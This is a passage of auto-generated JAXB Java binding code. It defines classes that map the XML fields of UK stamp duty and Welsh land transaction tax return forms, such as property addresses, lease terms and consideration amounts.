base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="SDLT3_PropertyTypeCode" type="{http://sdlt.co.uk/}EnumPropertyType"/&gt; * &lt;element name="SDLT3_PropertyLocalAuthorityCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyTitleNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyNLPGUPRN" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyUnitsHectareMetres" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAreaSize" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyMineralRightsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT3_PropertyPlanAttachedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT3_InterestCreatedCode" type="{http://sdlt.co.uk/}EnumInterestType"/&gt; * &lt;element name="SDLT3_InterestCreatedCodeDetailed" type="{http://sdlt.co.uk/}EnumInterest2Type"/&gt; * &lt;element name="LTT_Country" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandArgiculturalYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_LandSituation" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandSituationYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_TotalConsideration" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_MineralsRightsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_NetPresentValue" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_LandHasAddressYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_PropertyLocalAuthorityCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_IsLandExchangedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_LandExchangedPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedCountry" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "sdlt3PropertyTypeCodeOrSDLT3PropertyLocalAuthorityCodeOrSDLT3PropertyTitleNumber" }) public static class SDLT3 { @XmlElementRefs({ @XmlElementRef(name = "SDLT3_PropertyTypeCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyLocalAuthorityCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyTitleNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyNLPGUPRN", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyAddressBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyAddressPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyAddress4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyUnitsHectareMetres", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyAreaSize", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyMineralRightsYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_PropertyPlanAttachedYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_InterestCreatedCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT3_InterestCreatedCodeDetailed", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Country", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandArgiculturalYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandSituation", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandSituationYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_TotalConsideration", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_MineralsRightsYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_NetPresentValue", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandHasAddressYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PropertyLocalAuthorityCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_IsLandExchangedYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandExchangedPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandExchangedBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandExchangedAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandExchangedAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandExchangedAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandExchangedAddress4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_LandExchangedCountry", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false) }) protected List<JAXBElement<?>> sdlt3PropertyTypeCodeOrSDLT3PropertyLocalAuthorityCodeOrSDLT3PropertyTitleNumber; /** * Gets the value of the sdlt3PropertyTypeCodeOrSDLT3PropertyLocalAuthorityCodeOrSDLT3PropertyTitleNumber property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the sdlt3PropertyTypeCodeOrSDLT3PropertyLocalAuthorityCodeOrSDLT3PropertyTitleNumber property. * * <p> * For example, to add a new item, do as follows: * <pre> * getSDLT3PropertyTypeCodeOrSDLT3PropertyLocalAuthorityCodeOrSDLT3PropertyTitleNumber().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link JAXBElement }{@code <}{@link EnumPropertyType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link EnumInterestType }{@code >} * {@link JAXBElement }{@code <}{@link EnumInterest2Type }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * * */ public List<JAXBElement<?>> getSDLT3PropertyTypeCodeOrSDLT3PropertyLocalAuthorityCodeOrSDLT3PropertyTitleNumber() { if (sdlt3PropertyTypeCodeOrSDLT3PropertyLocalAuthorityCodeOrSDLT3PropertyTitleNumber == null) { sdlt3PropertyTypeCodeOrSDLT3PropertyLocalAuthorityCodeOrSDLT3PropertyTitleNumber = new ArrayList<JAXBElement<?>>(); } return this.sdlt3PropertyTypeCodeOrSDLT3PropertyLocalAuthorityCodeOrSDLT3PropertyTitleNumber; } } /** * <p>Java class for anonymous complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="SDLT4_ConsiderationStockYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_ConsiderationGoodWillYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_ConsiderationOtherYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_ConsiderationChattelsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_TotalConsiderationAmount" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseOffice" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseHotel" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseShop" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseWarehouse" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseFactory" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseOther" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseOtherInd" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PostTransactionRulingYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_IfYesHasRullingBeenFollowed" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationDependentOnFutureEventsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_DeferredPaymentAgreedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_PropertyMineralRightsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_Purchaser1DescriptionCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_Purchaser2DescriptionCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_Purchaser3DescriptionCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_Purchaser4DescriptionCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyTypeCode" type="{http://sdlt.co.uk/}EnumPropertyType"/&gt; * &lt;element name="SDLT4_PropertySameAddressAsSDLT1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyLocalAuthorityCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyTitleNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyNLPGUPRN" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUnitsHectareMetres" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAreaSize" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyPlanAttachedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_InterestCreatedCode" type="{http://sdlt.co.uk/}EnumInterestType"/&gt; * &lt;element name="SDLT4_InterestCreatedCodeDetailed" type="{http://sdlt.co.uk/}EnumInterest2Type"/&gt; * &lt;element name="SDLT4_LeaseTypeCode" type="{http://sdlt.co.uk/}LeaseType"/&gt; * &lt;element name="SDLT4_LeaseStartDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_LeaseEndDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_RentFreePeriod" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_TotalLeasePremiumPayable" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_EndDateForStartingRent" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_LaterRentKnownYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_LeaseAmountVAT" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_TotalLeasePremiumPaid" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_NetPresentValue" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_TotalLeasePremiumTaxPayable" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_TotalLeaseNPVTaxPayable" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_AnyTermsSurrendered" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_BreakClauseTypeCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_BreakClauseDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_ConditionsOptionToRenew" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConditionsUnascertainableRent" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConditionsMarketRent" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConditionsContingentReservedRent" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConditionsTurnoverRent" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyRentReviewFrequency" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_FirstReviewDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_ReviewClauseType" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_DateOfRentChange" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_PropertyServiceChargeAmount" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyServiceChargeFrequency" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationTenant2LandlordCode1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationTenant2LandlordCode2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationTenant2LandlordCode3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationTenant2LandlordCode4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationLandlord2TenantCode1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationLandlord2TenantCode2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationLandlord2TenantCode3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationLandlord2TenantCode4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "sdlt4ConsiderationStockYesNoOrSDLT4ConsiderationGoodWillYesNoOrSDLT4ConsiderationOtherYesNo" }) public static class SDLT4 { @XmlElementRefs({ @XmlElementRef(name = "SDLT4_ConsiderationStockYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationGoodWillYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationOtherYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationChattelsYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_TotalConsiderationAmount", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyUseOffice", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyUseHotel", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyUseShop", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyUseWarehouse", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyUseFactory", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyUseOther", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyUseOtherInd", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PostTransactionRulingYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_IfYesHasRullingBeenFollowed", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationDependentOnFutureEventsYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_DeferredPaymentAgreedYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyMineralRightsYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_Purchaser1DescriptionCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_Purchaser2DescriptionCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_Purchaser3DescriptionCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_Purchaser4DescriptionCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyTypeCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertySameAddressAsSDLT1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyAddressPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyAddressBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyAddress4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyLocalAuthorityCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyTitleNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyNLPGUPRN", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyUnitsHectareMetres", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyAreaSize", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyPlanAttachedYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_InterestCreatedCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_InterestCreatedCodeDetailed", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_LeaseTypeCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_LeaseStartDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_LeaseEndDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_RentFreePeriod", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_TotalLeasePremiumPayable", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_EndDateForStartingRent", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_LaterRentKnownYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_LeaseAmountVAT", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_TotalLeasePremiumPaid", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_NetPresentValue", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_TotalLeasePremiumTaxPayable", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_TotalLeaseNPVTaxPayable", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_AnyTermsSurrendered", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_BreakClauseTypeCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_BreakClauseDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConditionsOptionToRenew", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConditionsUnascertainableRent", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConditionsMarketRent", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConditionsContingentReservedRent", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConditionsTurnoverRent", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyRentReviewFrequency", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_FirstReviewDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ReviewClauseType", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_DateOfRentChange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyServiceChargeAmount", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_PropertyServiceChargeFrequency", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationTenant2LandlordCode1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationTenant2LandlordCode2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationTenant2LandlordCode3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationTenant2LandlordCode4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationLandlord2TenantCode1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationLandlord2TenantCode2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationLandlord2TenantCode3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT4_ConsiderationLandlord2TenantCode4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false) }) protected List<JAXBElement<?>> sdlt4ConsiderationStockYesNoOrSDLT4ConsiderationGoodWillYesNoOrSDLT4ConsiderationOtherYesNo; /** * Gets the value of the sdlt4ConsiderationStockYesNoOrSDLT4ConsiderationGoodWillYesNoOrSDLT4ConsiderationOtherYesNo property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the sdlt4ConsiderationStockYesNoOrSDLT4ConsiderationGoodWillYesNoOrSDLT4ConsiderationOtherYesNo property. * * <p> * For example, to add a new item, do as follows: * <pre> * getSDLT4ConsiderationStockYesNoOrSDLT4ConsiderationGoodWillYesNoOrSDLT4ConsiderationOtherYesNo().add(newItem); * </pre> * * * <p> * Objects of the following 